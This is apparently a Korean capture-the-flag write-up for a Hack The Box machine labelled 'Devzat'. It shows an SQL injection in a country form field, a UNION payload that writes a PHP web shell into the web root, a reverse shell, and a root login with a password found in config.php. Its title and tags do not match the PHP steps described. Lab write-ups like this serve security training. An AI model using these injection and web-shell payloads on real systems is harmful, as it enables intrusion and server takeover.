HTB-Devzat Write up
golang, git-dumper
오랜만에 Easy머신 다운 쉬운 머신이였다.
nmap 결과
웹 포트 접속시 회원 등록 화면이 나오고 Join Now 버튼 클릭 시 계정명과 나라가 등록되는것을 확인 가능
회원등록
회원등록성공
버프로 나라명 입력칸에 SQL injection 시도 시 새로운 쿠키발급
username=sql test&country=Albania' or 1=1-- -
sql injection
발급받은 쿠키로 변경 후 접속 시 sql injection이 가능한것을 확인
sql injection
Union Sql injection 시도 시 1이 가능하고 String문자열도 가능한것을 확인
문자열 삽입 가능
해당 웹페이지는 php로 작성되어 있어 union sql injection을 통해 php 웹쉘 파일을 리눅스 웹 기본경로에 생성 시도
username=sql test&country=Albania' union select "<?php SYSTEM($_REQUEST['cmd']) ?>" INTO OURFILE '/var/www/html/webshell.php'-- -
webshell.php 파일 생성
발급받은 쿠키로 교체후 접속 시 sql 에러메시지가 나오지만 webshell.php 로 이동시 정상적으로 웹쉘이 생성된것을 확인 가능
웹쉘에서 bash명령어 사용 웹쉘을 입력하였지만 웹쉘이 연결되지 않음
해당 공격문을 URL 인코딩 진행 후 공격 시 정상적으로 웹권한 쉘을 획득할 수 있음
공격문 URL인코딩
웹쉘 권한 리버스쉘 획득
웹쉘 권한의 쉘을 획득하였으므로 root 계정으로 권한상승을 위해 탐색 중 config.php 파일 발견
해당 파일을 열어보니 유저명과 패스워드가 노출
config.php
su -l 명령어를 사용하여 root 계정 로그인 시 획득하였던 패스워드로 접근이 가능함
root 권한상승